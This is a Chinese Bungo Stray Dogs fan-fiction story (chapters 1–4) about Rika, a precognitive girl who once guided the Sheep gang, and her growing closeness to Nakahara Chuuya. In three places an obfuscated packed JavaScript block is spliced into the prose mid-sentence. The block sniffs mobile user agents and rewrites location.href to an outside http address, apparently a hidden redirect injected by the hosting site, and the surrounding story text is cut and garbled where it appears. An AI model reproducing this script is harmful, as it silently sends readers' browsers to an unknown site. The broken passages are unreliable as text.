《[文野]荒神的西比拉小姐》 1. 预言者 《荒神的西比拉小姐》 送恨/文,2025.8.28 【段评收藏本文即开启】 港口Mafia现任首领病重癫狂的消息,连同那些愈发残酷荒诞的命令,像如同瘟疫一般在这座港口城市的街头流传,带来一种压抑又令人窒息的恐惧。擂钵街以往嚣张的小团伙收敛了许多,人们之间交谈的声音压低,眼神里多了几分警惕和惶恐。什么“红发孩子”和“说Mafia坏话会招致灭顶之灾”的流言,让整个横滨都笼罩于一片无形的低压。 头痛如同跗骨之蛆,再一次侵袭梨花的太阳穴,这不是普通的疼痛,而是更多来源于某些更加深刻而更加令人不安的预兆。 零碎的画面不受控制地就挤入梨花的脑海,比如擂钵街到处翻倒的垃圾桶,比如港口Mafia们染血的黑西装,还有那抹近来总是挥之不去,会影响到她计算的赭橘色。 有着在这片街区罕见保持着柔顺的乌黑秀发、剔透的雪青色眼眸的女孩靠在冰冷粗糙的墙上,纤细的手指用力按压着突突直跳的太阳穴,试图将这些无序的预兆驱散。怀中那本都有些破旧了,边角翻阅严重的《数论》则是她从小就爱抱着的。 只有绝对理性的公式和冰冷精确的数字世界,才能短暂压抑她这已经完全融入日常的混沌能力所带来的焦躁与不安。 擂钵街的空气总是混杂着腐烂物和这座海边人工小岛若有若无的海腥味,今天似乎更是显得格外沉闷,白濑那尖利而理直气壮的索求声和一个老摊主无力而卑微的辩解声混杂在一起,熟悉的嘈杂打断梨花的思绪。羊的成员们就算隐约感知到外界的紧张氛围,却依旧改不了索取和惹是生非的习性。 梨花雪青色的眼睛里掠过一丝极其复杂的情绪,那远不止是轻蔑,更有一份深藏其中不愿承认的……渊源与失望。 没人知道,如今这个吵吵嚷嚷、仗着有个强大的王而日渐嚣张的名为“羊”的组织,最初能在擂钵街中存活下来并形成雏形,很大程度上得益于一个沉默寡言的总是抱着厚书本的小女孩偶然之间看似随意的指点。 那是几年前,刚历经灾难不久的擂钵街的生存环境远比现在还要恶劣几十倍。孩子们像无头苍蝇一样在废墟中寻找生机,死亡是家常便饭,人口器官贩卖事件层出不穷。 “那边……不能去。” 当时还是小女孩的梨花曾对几个快要饿晕、打算去某区域翻找食物的稍大孩子,用磕绊却异常肯定的语气说道。因为不知何时起,她整日沉迷的数字与计算忽然在她的生活中变得可视化,而那些收集到的数据告诉她,那片区域上方建筑现如今构造不稳定的概率很高。于是第二天,那里果然发生了二次坍塌,几个没听劝的孩子被埋藏瓦砾下。 她还曾用石子在地上留下线索,告诉他们去西南的管道寻找水源,孩子们顺着指示,果然找到了一处断裂的供水管道。 最重要的是,她还仿若提前预知了那段时间在擂钵街不停流窜的人贩子的动向,让许多对此害怕不已的孩子们得以逃过一劫。越来越多的孩子,开始依赖她说的话,而这也是羊的最初成立是作为“未成年自卫组织”,主要以“自卫”为宗旨的原因。 起初只是零星的,后来她的大脑总会自动推演各种概率的路径呈现在她的眼前,而某些碎片化的“预见”则更强化了这些计算的准确性。渐渐地,孩子们发现只要听这个怪丫头的话,总能找到吃的喝的,避开许多危险。不知不觉间,一个以生存为目的的松散团体开始围绕着她模糊的指引形成了。 但梨花很快感到了强烈的不适和潜在的危险。人越来越多,依赖越来越强,他们开始不再满足于只是在这个擂钵街维持基本的生存,而是想要更多更好。他们开始主动问她:“接下来该抢哪里?”“哪个家伙看起来好欺负?”“怎么对付隔壁那群大人?” 这彻底违背了梨花的初衷,她的计算不是掠夺或是扩张。而且她模糊地预见到,如果继续这样下去,按照这群孩子日益增长的贪婪和暴力倾向使用她的能力,必然会招惹来无法抵挡的灾祸。她讨厌这种被索取和被卷入人群的感觉,这让她失控的能力也更加烦躁不安,头痛发作得越来越频繁。 于是,她主动切断了这种联系。她提供的建议也越来越少,变得比以前更沉默和孤僻,将自己深深藏匿起来,用冰冷目光和尖锐的话语赶走所有试图靠近的人。 羊的孩子们本来就觉得她很古怪,不爱说话,性格也有点那种外界天才符合刻板印象的乖僻孤戾,白濑更是觉得梨花说不定从未看得起他们。于是,他们逐渐疏远了她,毕竟与此同时,拥有更强大的直观力量的橘发蓝眼少年中原中也突然出现了,他们迅速找到了新的也更加好用的核心,便将梨花彻底遗忘在了废墟的角落中。 此刻,看着羊的成员们依旧如故地吵嚷不休,柚杏夸张的哭喊又引来了更大的麻烦,梨花心底那份复杂的情绪最终化作了冰冷的讽刺。心里想着,他们果然只会走向暴乱和膨胀,就像她当年预见的那样。 我们登上并非我们选择的舞台, 演绎并非我们所选择的剧本。① 几个明显不怀好意、身材高大的流浪汉被骚动吸引过来,挡在了刚刚赶来平息事端的中原中也面前。战斗一触即发,但却又毫无悬念。中也甚至未动用那可怕的重力,仅凭利落狠辣的体术就放倒了所有对手,动作干净利落,带着一种近乎暴力的美学。 梨花在暗处冷眼旁观,直到她的能力再次不受控地预警,清晰的画面闪过脑海:一个倒地的家伙正悄悄从怀里掏出磨尖的螺丝刀,试图偷袭中也毫无防备的后背。 即使大脑很清楚,这种偷袭对中原中也来说根本无效,然而她的身体还是先于思考,下意识做出了反应。女孩有些冷硬低弱的声音那一刻从阴影里清晰传出: “后面。” 中原中也瞬间警觉,野兽般的直觉让他在听到声音的同时就已经反身,一个精准利落的侧踢,狠狠地踢飞了偷袭者手中的凶器,伴随着一声清脆的骨折声和惨叫。 解决掉所有麻烦后,他锐利的目光如鹰隼般投向她的藏身之处,钴蓝色的眼眸里带着警惕和一丝探究,几乎是下意识的,“谁?” 梨花慢慢从阴影里走出来,怀里依旧紧紧抱着那本《数论》,像是抱着面能保护自己的盾牌。脸上是惯常的事不关己,只有微微抿紧的苍白嘴唇泄露了一丝紧绷。 “是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360928|183673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你?”中原中也似乎对她有模糊印象,眉头微微松开,“谢了。”他的声音还带着少年人特有的清亮与性格的潇洒,却又奇异地混合着一种与年龄不符的成熟。 梨花只是点了点头,算是回应。 中原中也当然不可能不知道梨花的存在。加入组织不久的时候,他就偶然听说过,他们这些孩子最初其实是因为一个叫“梨花”的女孩聚集起来的,她拥有神奇的近乎能够做到预言的能力,而且十分灵验。 但当他询问她为何又离开了羊,大家却都不愿再谈,这就让中原中也实在好奇。在私下里,他其实还刻意去找过梨花。 中原中也发现梨花似乎有两个据点,一座处于擂钵街靠近边缘地带的废弃公馆的顶层,这里确实是一个能住舒服点的地方,还有一个应该也位于公馆附近,但大概被她进行了些隐藏,所以他目前不得而知。 小时候她会用那些预感与经营老旧杂货铺的老人换取食物什么的,后来似乎有了更好的谋生方式,总之那些交易都低调高效,符合梨花的期望。她提供信息价值换取生存资源,不欠人情。尽管生意对象属于梨花信任的人,但她也总是见好就收,非常谨慎。 但正因为她或许过于小心了,所以在中原中也看来她的生存物资或许还是有些窘迫,于是梨花开始在自己家的入口附近发现一点在物资中较为罕见的意外之财。 起初梨花并不知道是谁放的,直到一次罕见的暴雨席卷了横滨,排水不畅的擂钵街更是化作了泥泞和水洼的国度。梨花在一个积水颇深的洼地前犹豫不前,污水浑浊,看不到底,她不想弄湿这双她比较喜欢的结实鞋子和怀中比什么都重要的书。 正在附近检查雨后情况、担心据点进水的中原中也看到了她,停下脚步。他看着那个纤细的身影站在水洼前,蹙着眉,一副陷入难题的样子,什么都没说,也没有靠近,只是看似随意地抬了抬脚。 在一股无形之力悄然作用下,梨花面前那片浑浊的积水仿佛被一只看不见的手向两侧分开,露出下方干燥龟裂的地面,形成了一条窄窄的恰好容一个人通过的通道。 梨花愣住了,惊讶地看着这违反物理常识的景象,又猛地转头看向不远处的赭橘发少年。那人立刻扭过头,假装在看旁边歪斜的电线杆,耳根却以肉眼可见的速度泛红,语气也变得粗声粗气,像是在对空气说话:“看什么看,又不只你一人需要过路。” 这拙劣的借口让梨花一时无言。她看着那条为她而开的超自然的路,又看了看少年别扭的侧脸和略微泛红的耳朵,一种从未有过的情绪悄然漫上心头,竟些微驱散了雨后的寒意。她沉默了一下,然后抱着书一步一步地走过了那条本不该出现的通道。 在经过他身边时,她的脚步几乎没有停顿,却用极低极快的几乎要被风吹散的声音,飞快地说了一句: “……谢谢。” 那声音轻得像羽毛拂过,细微得几乎让人以为是什么幻觉。但中原中也的身体却明显僵了一下,猛地转回头看向她。 雪青色眼眸的女孩却没有停留,也没有回头,依旧保持着那副冷淡的样子,快步走远了,只留下一个纤细而挺直的背影,渐渐消失在擂钵街湿漉漉的雾气中。 2. 避风港 或许梨花的做法在旁人看来是离开、甚至抛弃了同伴,但如今身为“羊之王”的中原中也却反而莫名能够理解她的选择。 “预知未来”这种能力无论在哪都炙手可热,势必会引发流血的争抢,中原中也不是不知道白濑他们那群人的行事风格,如果由着他们借用这种能力放肆招摇的话,梨花这个预知者被盯上不过是早晚的事。 持有预言这种能力,如果没有强大武力傍身,等待的只有凄惨命运。而正因为梨花没有强大的武力,当时的羊也没有,所以她选择另一条路是理所当然的事。 和自己同样拥有着一张好牌,但属于梨花的这张牌却又并非和他一样能够照常使用,甚至还让她出于顾忌、不得不脱离未成年自卫组织的庇护。说不清道不明的种种原因……令中原中也放不下这个女生。 倘若要是没有这一对翅膀,她的人生或许至少有七成可以变得更加轻盈吧。 毕竟翅膀并不适合在地面步行。② 或许在他心中,这位组织的原点,仍旧属于羊的范畴,也属于他的庇护范畴。甚至还是其中一个有点特殊的存在。 但中原中也的行为却让梨花的心情有些复杂。一方面,她气恼在他眼里难道自己就是一个需要被接济的、无力生存的弱者?她依靠自己的头脑活得很好,所以不需要他的怜悯。但另一方面,中原中也这个存在,却刚好又是梨花所最需要的东西。 他所有的给予都是是沉默的、不求回报的,与她之前所厌恶的羊那群人的公开索求和依赖截然不同……中原中也简直是在这个擂钵街里庇护她这位预言者的最佳人选。只要她不傻,都应该跟他搞好关系吧? 于是她不加以抗拒的收下了那些东西,然后,出于一种想要两清的冲动,她开始在看到对羊或他本人不利的模糊信息时,偶尔用极其隐晦的方式留下警示。这需要精妙的计算,既要让他有可能注意到并理解,又要确保不被羊的其他人,尤其是白濑那类人察觉,以免给自己引来什么麻烦。 又一日晨起,梨花按照习惯走到离擂钵街最近的书亭看最新的报纸,毕竟持有着“预测未来”这样的能力,所以每日这样获取最新、最宏大的情报是她的习惯。她同时也在用这样的方式检测、锻炼着自己的能力,或许总有一天便能看见真正的“未来”。 唯一的缺点是,她每次看完报纸这样信息量大的东西后脑袋总会很胀,但这种头疼症状如今也在日渐减轻。毕竟大脑是可以锻炼开发出来的,而梨花在做的就是这件事。 今天她预测到要下秋天的第一场雨,所谓“一场秋雨一场寒”,梨花不敢在外面多待,买下了另一本她所需要的杂志就抬脚回去。擂钵街在她的脑袋里大概已经以A、B、C等为代号划分为了好几个区域,而那些区域会在今天的什么时候发生冲突与械斗,她也全部清楚,这样就能够轻松避开。 本该是这样的。 “凭什么就这么点?!” 只见几个羊的成员正围着一个刚刚从外面回来的,身材略微矮胖的中年男人。男人怀里紧紧抱着一个纸袋,里面似乎装着一些食物和日用品。白濑和柚杏正气势汹汹地拦着他,伸手就要去抢那个袋子。 “之、之前说好的……保护费不是已经交过了吗……”男人吓得脸色发白,声音颤抖,但是还死死护着自己怀里的东西。 “这、这是我好不容易才换到的……” “少废话!现在规矩改了!” 白濑一把揪住男人的衣领,说道:“‘羊’保护你们,多拿点东西怎么了?要不是我们,你早被其他人生吞活剥了!” “就是!快点交出来!” 柚杏在一旁帮腔,伸手就去扯纸袋。纸袋最终被撕裂,里面几个干瘪的水果和一小袋米散落一地。男人绝望地看着,几乎要哭出来,这些是他准备带给年迈母亲的食物。 “啧,你们在干什么!” 一声压抑着怒气的低吼传来。中原中也快步从街角走来,蓝色的眼眸里翻滚着怒火。他显然也是被这里的动静吸引过来的。 “中也!你来得正好!” 白濑立刻告状道,“这家伙不识抬举,让他交点东西磨磨蹭蹭的!” 赭橘发少年的目光扫过地上散落的东西和吓得瑟瑟发抖的男人,又看向一脸理所当然的白濑和柚杏,脸色彻底沉了下来。 “我说过多少次了!不准这样强抢!” “快把东西还给人家!” “凭什么啊?!”白濑不服气地叫嚷起来,“我们每天巡逻保护他们,拿点东西不是应该的吗?你看看我们据点里都快没什么吃的了!你就是太过死板了!” “保护也不是抢劫的理由!”少年清澈亮烈的声音提高了几分,带着不容置疑的威严,“把东西捡起来,还回去!” “我不!”白濑也上了头,梗着脖子,“中也,你别忘了是谁推举你当老大的!现在兄弟们都快饿肚子了,你还向着外人?!” “你……”向来对待同伴包容的人这一次气得拳头紧握,周身气息都变紧张起来。 但他最终还是没有发作,钴蓝色的眼眸里只是燃烧着怒火,却也深藏着难以掩饰的受伤和疲惫,似乎明白就算一次次试图解释也只会被更多的抱怨和指责淹没。而武力,也更不是他会对同伴所动用的。 中原中也将东西一件件捡起来还给那个吓得惊慌失措的中年男子,在他跑远后忽然说道:“我要暂时离开一段时间。” “你要去哪儿?” 虽然刚刚还叫嚣着,但白濑此刻立马又换上一副有些紧张的嘴脸。因为无论如何,羊不能失去中原中也这个强大的靠山。虽然以白濑对中也的了解来说,他不可能会一走了之,这也是他们任性的依仗。 中原中也对白濑的提问只是摆了摆手,弹起后的身体转瞬消失在了原地。 梨花站在远处的阴影里,静静地看着。她看到中也紧抿的嘴唇,看到他最终选择离开,那背影带着一种沉重的又与他惯来不符的孤寂。她的心脏像是被什么东西轻轻揪了一下。一种冲动,一种超越了她惯常冷静计算的冲动,驱使着她轻轻跟了上去。 中原中也并没有走远,他只是走到了据点后方一堆废弃的集装箱后面,那里通常不会有人来。少年背靠冰冷的集装箱壁,缓缓滑坐下来,将脸深深埋进了自己的臂弯里。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360929|183673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 像太累了而蜷缩起来的小孩子。 梨花站了好一下会儿,最终才从阴影里走了出来,停在离他几步远的地方。 听到脚步声,中也猛地抬起头。看到是她,他眼中有闪过一点惊讶,但随即迅速别开脸:“……你来干什么?看笑话吗?” 梨花没有回答他的问题。她只是安静地看着他,雪青色的眼眸里没有嘲讽,也没有怜悯,只有一种近乎纯粹的平静。她慢慢地走上前,从怀里拿出来了一个包装袋。 那是一包零装的巧克力。 “……吃这个。”她的声音很低,依旧带着她特有的平淡直白的语调,但似乎比平时略微柔和了那么一些,“会好一点。” 向来作风强硬的赭橘发少年愣住了,怔怔地看着地上的纸包,又抬头看向她。女孩的表情依旧没什么变化,只是安静地站在那里,仿佛只是陈述一个客观事实。 所有愤怒似乎都一时土崩瓦解,转而是一股难以言喻的酸涩与释然同时涌上心头。但中原中也还是没有去拿那个纸包,他只是将头微仰……靠在自己身后的集装箱上。 “一群混蛋,到底是为什么……” 梨花沉默地听着,没有说什么安慰的话。或许当羊那些人每每用言语胁迫中原中也的时候,她内心有无数替他都憋屈的刻薄话语想脱口而出,但此刻她却只是在他身边坐了下来,隔着一小段礼貌的距离,抱着自己的膝盖,仰头也看着灰蒙蒙的天空。 两人就这样静静地坐着,一言不发。废弃的集装箱仿佛隔绝了外界的喧嚣,只剩下彼此轻微的呼吸声。一种无言的理解和奇异的安宁竟然在两人之间弥漫开来。 不过一阵子,天空下起迟来的秋雨。梨花不得不立即站起身来,准备要走了。 “要一起吗?” 女生的声音依旧细弱冰凉的宛若雨中的虚幻,但这一次却的的确确收入中原中也的耳中。听到梨花的问话,他下意识便摇头,但随即迎上的便是少女质疑无比的眼神。 像是在说:你不是刚在同伴面前“夸下海口”,要离开一段时间吗?那么原本住的地方和羊的基地,就都肯定不方便回去了。 中原中也似乎也意识到了这一点,但即使如此,这对他来说也仍旧没什么。随意找个落脚处对他来说并不难,就算下雨也没什么,只要他想连雨滴都可以不沾身。 但少女忽然一声喷嚏打消他的念头。 十二岁少女的身躯在他眼中异常单薄,被雨一浇似乎立马就受不住寒。梨花本打定主意这趟出门要立马回去,所以没有带伞,或许她下次应该直接推算自己被浇的概率。但又或许只要会撞见这个人,她所有的预知都根本没用。而中原中也显然也意识到了,梨花大概是因为自己才会被浇到了外边。 他为梨花又披上一件自己的外套,然后用手隔着外套布料轻触在梨花的肩头。那股奇异的力量作用在每一滴试图靠近他们的雨点,进行着散发黑红光芒的负方向排斥。梨花能感觉到肩头传来属于少年的温热体温和沉稳的力量感,这让她身体微微僵了一下。 “……我先送你回去吧。” 中也的声音比平时低沉了些。 3. 摩天轮 雨势渐密,敲打在擂钵街这个凹陷下去的巨大底坑中,发出连绵不绝的淅沥声。灰色的天空下,一切都显得潮湿而充满泥尘。 梨花默不作声地引领着中原中也穿过几条小巷,走向边缘一栋相对完好的废弃公馆。这栋建筑在爆炸中受损较轻,构造还算稳固。他们从一处破损的侧门进入,沿着陈旧的宽阔楼梯向上走。楼梯间的彩玻璃窗大多破碎,但依稀能看出昔日的华丽。 最终,他们来到了顶层。 顶层是一个宽敞的大房间,如今空旷无人,有几件大件家具甚至还没被掀开尘封的白布,但房间中很多轻便装饰与生活用品却又像崭新的。房间一角,被打理得尤其整洁,那里有着干净的床铺和地毯,边上还有一个占据大半面墙壁的书架,中原中也深切怀疑这个才是她选择住在这里的原因,上面分门别类地摆放着书籍,除了数学其实还有一些关于历史、经济学甚至基础物理的书。 其中不乏新书。 这里视野开阔,可以观察到擂钵街很大一片区域,或许适合梨花这样的观测者。 旁边一张桌子上,整齐地叠放着大量写满公式和数据的劣质纸张,还有一小叠罕见的空白纸和几支笔。另外令中原中也意外的是,似乎她吃过的早餐还没有及时收拾干净,桌子的一侧有吃得还剩一小块的年轮蛋糕,以及堆积成小山的大量巧克力包装。 吃点巧克力没什么问题,可那未免也太多了吧……!而且那年轮蛋糕其实就是中也昨晚刚偷偷带给她的,她那身板要是现在就能消化那个份量,中也只能对她刮目相看。 难不成她的饭量其实很大吗? 梨花似乎也意识到了这一点,但羞耻仅在那双雪青色的双眸一闪而过,然后她立马就换上了一副蛮不在意的表情。 没办法,她那个能力几乎让她的大脑时时刻刻都处于计算运转的状态,而大量的脑力运动就需要补充糖分与热量。为此梨花只能储存了足够多的巧克力,甚至还会平时随身携带,当身体因为无意识维持能力而虚脱的时候,她就不得不来上一块。 她的饭量也因此比同龄女生要大一些,但唯一的好处是,可能这辈子都吃不胖了,因为身上的热量都被脑力运动消耗掉了。 然而这些事,梨花现在懒得向中原中也解释……他爱怎么想就怎么想吧。 “看来我果然还是该给你多拿些吃的,”褚橙发的少年低声自语,事到如今他也已经懒得装了,而且他清楚梨花什么都知道,并庆幸着她接受了自己单纯的好意。 那还是不必了吧…… 梨花摇了摇头,然后走到桌边,拿起一支铅笔和一张纸,快速地写下: 【以后不要再拿东西了,羊不是也缺物资吗?】 万一让白濑那群人知道,他作为羊的首领竟然还会把物资偷偷分给她,就算那些物资其实大概率是属于中原中也自己的份,估计也要大闹起来,引起麻烦的纠纷。 “才不是物资短缺的问题呢。” 中也和梨花一起有些随意的坐在毯子上,吐出的话语带着一股不掩饰的讽刺,“是他们现在已经不知道什么叫做满足。” 他虽然很疑惑梨花又不是不会说话,却非要用笔在纸上写字跟自己交流,但想着她一定有自己的原因,既然她现在没对此做出解释,他便也没有在这个或许不恰当的时候问。这或许就是中也粗中有细的温柔。 少女听他这样说,几乎唰一下就写出一行字,【既然你知道,那打算怎么做?】 “我……” 中原中也却一时语塞。他能怎么做呢?他看着眼前的梨花,他有时反而想问问这位某种意义上羊的“前任统领者”——他到底应该怎么办?他一直都在意着梨花的存在,或许也有部分原因是为了追寻这个答案。 话未出口,他似乎就觉得有些失言,立刻抿紧了嘴唇,扭开了头,耳根微微有些发烫。他真的可以问出去吗?向这个其实也不算熟识,还总是冷着脸、连话都不爱多说一句的古怪女孩,询问如此复杂的话题? 梨花握着铅笔的手指微微收紧了一瞬。她垂下眼帘,看着纸上自己写下的那个问题,长长的睫毛在清秀脸颊上投下淡淡阴影。空气中弥漫着一种微妙的混合着潮湿水汽与旧书页味道的浓郁巧克力甜香,以及赭橘发少年身上淡淡的尘土与阳光气息。 “阿嚏!” 一个毫无预兆的喷嚏打破了沉重的气氛。梨花猛地扭过头,掩住口鼻,单薄的肩膀在空气中微微颤抖了一下。高强度的脑力消耗与阴冷的天气、以及刚才情绪的巨大波动,似乎终于让她的身体发出了抗议。 少女忽然感到一阵明显的眩晕和寒意袭来,额角甚至渗出了细密的冷汗。 中原中也立刻从沉重的思绪中惊醒,皱起了眉:“喂,你没事吧?”他这才注意到,梨花的脸颊开始泛着不正常的红晕。 “没什么……” 梨花终于开口回应,声音却带着明显的沙哑和虚弱。她晃了晃头,试图驱散那股突如其来的晕眩感,却差点没站稳。 中也啧了一声,立刻站起身,一个箭步上前扶住了她的胳膊。触手之处,隔着衣料都能感觉到她身体此刻不寻常的滚烫。 “你发烧了!”他肯定地说道,语气带着一丝不易察觉的焦急。肯定是刚才淋了雨,又耗神过度!他扶着她,几乎是半强制地让她在床上坐下。梨花还想挣扎着表示自己没事,其实她不时就会这样……但这次有些强烈的高烧所带来的无力感和一阵强过一阵的寒意让她格外浑身发冷,于是她下意识地裹紧了被盖到身上的毯子,蜷缩了起来。 梨花缩在厚厚的毛毯里,只露出一张泛着不正常潮红的小脸,女孩的额发被冷汗濡湿,贴在皮肤上。平时那双冷静疏离的雪青色眼眸此刻也因为发烧而显得水汽氤氲,睁开都有些艰难,看起来有点茫然和可怜。 中原中也伸手用手背贴了一下她的额头,发现真的很烫。这阵子本来就是换季,她的身体本来就虚弱,还经常劳费心神,或许早就有病症积压在身上了。 他低咒一声,打定主意要带她去医院,但梨花现在还处于短暂的清醒状态,她看着那双在昏暗房间中依旧显得清晰、带着担忧与焦急的钴蓝色眼眸,摇了摇头。 她不愿意去医院,准确的说不愿意这样被中也带去医院,如果她自己能去的话早就去了。但被人注意到他们的关系会很麻烦,不必要的关注不符合梨花的生存规则。何况她没有身份证明,最近擂钵街的黑诊所还关门大吉了,他只能送她去外面的地下医院。 “不去,医院……” 对这种情况见多了的人明显不悦,他见梨花还想坚持,干脆直接上前一步弯下腰,作势就要把她连人带毯子一起抱起来。 梨花被他这突如其来的动作吓了一跳,她下意识地想要挣扎,但虚弱的身体却根本使不上力气。少年的手臂结实有力,动作虽然看似强硬,却意外地稳当,小心地避开了所有可能让她不适的地方。 “你……放开……”她急得终于开口,声音细弱蚊蚋,还带着病后的沙哑。 “闭嘴,病号没发言权。”中也哼了一声,压根不理她那点微不足道的反抗,抱着她大步流星地走下楼梯,离开了公馆。 穿过正午的擂钵街,难免引来一些目光。但羊之王那张写满“别惹我”的脸足以让任何好奇或探究的目光迅速缩回去。 中也叫了车,直接去了横滨市内一家还算靠谱的地下医院。挂号、检查、诊断……一系列流程下来,医生果然说梨花是重感冒引发的高烧,加上有些营养不良和过度疲劳,需要住院观察两天,补充电解质和营养。 他二话不说就交了费用,办好手续,把梨花送进了干净的单人病房。 “你……”梨花躺在病床上,看着忙前忙后的中也,心情复杂极了。她想写点什么,却发现纸笔都没带在身边。 “安心住着。”中也打断她,把买来的生活用品放在床头柜上,“费用的事不用你操心,不缺这点钱。”他顿了顿,语气稍微缓和了些,“等你好了,我才能继续请教你。” 他总是能找到这种看似利益交换、实则掩盖关心的理由。梨花看着他别扭的样子,最终把话咽了回去,只是轻轻颔首。 中也每天都会来看她一次,每次还会带水果,嘴上嫌弃着“医院消毒水味道难闻死了”,但每次又要待好长时间。毕竟这里是地下医院,有些鱼龙混杂,但不管哪条道上的人却也基本默认,医院是停战地带。 两天后梨花就出院了,气色明显好了很多,虽然依旧清瘦,但眼神恢复了以往的干练。中也来接她,看着她乖乖站在门口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360930|183673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等他的样子,心里莫名地动了一下。 “走了。” 他依旧言简意赅,却接过她不多的行李。两人并肩走在横滨街头的阳光下,雨后初晴,天空湛蓝清新。离开了擂钵街那片灰暗的废墟,周遭是在经济萧条的时代,繁华也仍未尽然落尽的街道与熙攘的人群。 他们以回擂钵街为目的但又有些闲散的走着,横滨新建立为地标之一的巨大摩天轮“Cosmo Clock 21”逐渐映入眼帘。它在蓝天下缓缓旋转,巨大的白色轮辐非常醒目。 梨花的脚步不自觉慢了下来,抬起头,望着那座高耸入云的巨轮,雪青色的眼眸中闪过一些极细微而难以察觉的向往。 中也察觉到了她的停顿和目光,顺着她的视线望去,不禁挑了挑眉。 “怎么?想坐那个?” 梨花像是被窥破心事,立刻收回目光,“……不想。”她低声说,语气有些生硬,身体恢复后她的脾性似乎也有了条件复苏。 中原中也觉得难得看到梨花口是心非的样子,一脸摆脱干系的表情但眼神却又忍不住往摩天轮瞟,忽然起了点捉弄的心思。 他故意凑近了一点,但仍在安全距离,问道:“喂,你该不会是……恐高吧?” 梨花的身体几不可查地僵了一下,却强装镇定地否认:“……没有!” “哦?”中也头回拖长了语调,明显不信,“那就去坐坐看?听说上面视野不错,能看到整个横滨港。”他指了指摩天轮。 梨花的表情有些躲闪,像是理性的警报在她脑中时刻吊着她,但看着那双忽然充满少年气的戏谑和挑衅的钴蓝眼眸,她心中一股不服输的劲头却又按捺不住的冒出来。 她深吸一口气,像是下了巨大的决心,抬起头,直视着中也的眼睛,气势极足但语速却又刻意放慢,像是在极力控制说出连贯的话语:“那你……要和我一起。” 梨花想的是,因为中原中也有操纵重力的能力,只要他在自己身边,起码心理上这一关就过去了。没错,只要有他在身边,她就不怕了,但想到这里,她的脸又腾地一下红了,立刻低下头,恨不得把自己埋进地里……她这是在胡乱想些什么啊?! 中原中也愣住了,似乎没想到会得到这样的回答。看着眼前恨不得当场消失的女孩,再看看那座高耸的摩天轮,一种混合着出乎意料和好笑,以及难得柔软的情绪涌上心头。怕高就直接说嘛……还非要扯上他。 他啧了一声,语气没了之前的戏谑,反而带上了一点自己都没察觉到的纵容。 “麻烦。”少年嘴上抱怨着,实际上却已经迈开步子朝着摩天轮的售票处走去,背影看似不耐烦、其实却异常坚定。 梨花迟疑了一下,还是跟上去。 坐上轿厢以后,门缓缓关上,小小的空间开始平稳地上升。梨花的身体瞬间绷紧了,一双手有些不安的搭放膝盖上,目光死死地盯着自己的鞋尖,根本不敢往窗外看。 但不向外看就没有意义了。 所以她硬逼着自己看,指尖发白。 其实对有预测能力的梨花来说,她上摩天轮之前就知道不会有事,可她还是怕,是单纯的恐高。而随着高度不断攀升,轿厢轻微地晃动了一下,梨花发出声极轻的惊呼。 中也叹了口气,下一秒,梨花感觉到那细微的晃动感瞬间消失了!整个轿厢变得异常平稳,仿佛不是悬在高空,而是稳稳地停在坚实的地面上。甚至连窗外吹过的风,似乎都无法再影响这个小小的空间分毫。 “现在没什么好怕的了吧?” 少年看着她,嘴角勾起一抹得意的、有些张扬的笑容。阳光透过玻璃窗照在那张有着少年感的凌厉、却又仿佛可窥见成熟后昳丽轮廓的侧脸上,一双钴蓝色的眼眸在阳光下显得昂贵稀罕。犹如沉泥中却闪耀着光辉的宝石,整个人都根本不似普世之物。 一种前所未有的、绝对的安全感将梨花牢牢包裹。并非因为中原中也能够轻易违背物理法则,为她创造出一方绝对平稳的天地,她所感受的心安,单纯来源于这个人。 若干年后,“Cosmo Clock 21”也依旧在这座他们守护的城市伫立,甚至还被维修升级了一次。他们每次望见这座横滨的地标建筑,或许都会想起今日的这段经历。 4. 占卜屋 “医药费,会还你的。” “还有……麻烦你的费用。” 女孩说话似乎一字一句的想要把舌头给捋直,但因为是将语速放慢的情况下,再配上一副无口的表情,倒也没多少人觉得奇怪,只是觉得梨花实在是惜字如金。 中原中也则是有些意外,因为他关注梨花多时,却并未见她有什么挣取钱财的交易,她平时行事实在太过低调。但凭她的预测能力,无论她想过上什么样的生活,其实本该都非常轻松……但中原中也觉得她现在这样,或许确实才是正确的选择。 “你不必麻烦了。” 然而在他走后,梨花将这话当做了耳旁风,开始琢磨要怎样来点钱。在擂钵街挣钱不容易,不仅因为这里的人没钱,更因为这里的人都崇尚直接以物资进行交易。所以想要挣钱的话,果然还是要到擂钵街外。 横滨有不少较为繁华的商圈,比如关内街、中华街等,梨花选择来到离擂钵街最近的大黑码头,这里同样是一个集购物、餐饮与娱乐为一体的综合商业区。对以往的梨花来说,她原本其实是比较讨厌来这种热闹地方的,不仅人多,而且业务、商户形形色色,导致信息太杂乱,会挤得脑袋发胀。 